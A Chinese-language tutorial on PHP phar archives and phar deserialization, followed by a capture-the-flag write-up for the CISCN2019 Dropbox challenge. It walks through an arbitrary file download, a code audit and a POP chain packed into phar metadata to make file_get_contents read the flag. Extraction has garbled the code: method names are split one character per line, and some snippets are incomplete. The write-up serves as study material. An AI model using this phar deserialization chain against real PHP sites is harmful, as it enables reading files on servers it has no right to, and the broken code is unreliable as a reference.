phar类似java中的jar包,是一种压缩包。可以对php项目进行打包成 .phar类型的文件,也可以把某个功能模块打包直接发布。
1.配置
要想使用phar文件,必须将phar.readonly配置项配置为0或Off
$o = new B();
$o ->name = ‘xenny’;
p
h
a
r
−
>
s
e
t
M
e
t
a
d
a
t
a
(
phar ->setMetadata(
phar−>setMetadata(o);
$phar ->addFromString(“test.txt”,“test”);
$phar->stopBuffering();
//file_get_contents(‘phar://test.phar/’);
解释说明
$phar = new Phar(“test.phar”); //输出的文件名为test.phar
$phar -> startBuffering(); //开启缓存,往文件写入内容
$phar -> setStub("<?php __HALT_COMPILER();?>"); //设置标志
$o = new B(); //实例化B类
$o ->name = ‘xenny’; //设置B类的属性name的值为xenny
p
h
a
r
−
>
s
e
t
M
e
t
a
d
a
t
a
(
phar ->setMetadata(
phar−>setMetadata(o); //设置媒体数据
$phar ->addFromString(“test.txt”,“test”); //将test的数据导入到phar的压缩包test.txt文件当中 //停止缓存,停止文件写入数据
运行结果
生成了一个test.phar压缩包,里面有几个文件。
metada.bin内容为序列化后的内容
signature.bin里面的内容
stub.php里面的内容
test.txt里面的内容
file_get_contents(‘phar://test.phar/test.txt’); //会进行一次反序列化
实例
[CISCN2019 华北赛区 Day1 Web1]Dropbox
注册一个账号进行登录
发现一个文件上传点
只能上传图片,但上传后发现可以下载
点击下载抓包,看是否存在任意文件下载
发现可以进行文件包含,利用该漏洞下载源码
进行代码审计。在index.php里面包含了class.php
跟踪class.php查找FileList这个类,但在这个类中没有Name()和Size()这两个方法,但又调用了这两个方法,FileList中存在__call这个方法。
__call方法,在一个对象的上下文中,如果调用的方法不能访问或不存在的时候,它将被触发
__call又会去调用
f
i
l
e
−
>
file->
file−>func()这个方法,在File这个类中存在file_get_contents这个关键字
构造pop链,让其到达file_get_contents函数输出flag。
在user类中发现一个close()方法
构造pop链
$o = new User();
$o->db = new FileList();
p
h
a
r
−
>
s
e
t
M
e
t
a
d
a
t
a
(
phar->setMetadata(
phar−>setMetadata(a); //将自定义的meta-data存入manifest
$phar->addFromString(“exp.txt”, “test”); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
上传生成的文件,在删除哪里抓包,读取flag.
成功读取flag